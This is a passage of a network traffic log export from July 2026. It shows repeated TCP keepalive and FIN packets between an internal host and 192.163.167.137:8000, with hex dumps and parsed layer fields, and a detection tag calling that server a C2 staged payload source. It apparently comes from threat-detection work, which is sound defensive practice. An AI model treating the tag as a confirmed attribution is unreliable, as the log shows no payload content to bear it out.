192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b110400080063eee0a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45328, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16110, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:15.914010,763,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d4c4000400602a8c0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-L@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11596, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 680, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:16.929663,764,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b111400080063eed0a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45329, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16109, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:16.929698,765,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d4d4000400602a7c0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-M@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11597, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 679, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:17.945333,766,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b112400080063eec0a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45330, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16108, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:17.945371,767,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d4e4000400602a6c0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-N@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11598, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 678, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:18.961003,768,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b113400080063eeb0a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45331, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16107, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:18.961037,769,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d4f4000400602a5c0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-O@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11599, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 677, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:19.976655,770,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b114400080063eea0a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45332, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16106, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:19.976689,771,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d504000400602a4c0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-P@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11600, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 676, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:20.992208,772,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b115400080063ee90a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45333, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16105, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:20.992223,773,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d514000400602a3c0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-Q@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11601, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 675, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:22.007908,774,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b116400080063ee80a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45334, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16104, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:22.007925,775,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d524000400602a2c0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-R@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11602, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 674, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:22.710217,776,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000282d534000400602adc0a3a7890a98980b1f40fa5fd4a9c527037eebe05011003f0aeb0000,\".$.6\n..$.)....E..(-S@.@.......\n....@._...'.~..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11603, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 685, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:22.710489,777,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=58649568 Ack=3567895848,bc24112907bbbc2411360d0c080045000028b117400080063ee80a98980bc0a3a789fa5f1f40037eebe0d4a9c52850102014e21e0000,\".$.)...$.6\n...E..(..@...>.\n........_.@.~.....(P. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45335, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16104, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649568, \"\"ack\"\": 3567895848, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57886, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:22.711020,778,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=58649568 Ack=3567895848,bc24112907bbbc2411360d0c080045000028b118400080063ee70a98980bc0a3a789fa5f1f40037eebe0d4a9c52850112014e21d0000,\".$.)...$.6\n...E..(..@...>.\n........_.@.~.....(P. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45336, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16103, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649568, \"\"ack\"\": 3567895848, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57885, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:22.711039,779,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks 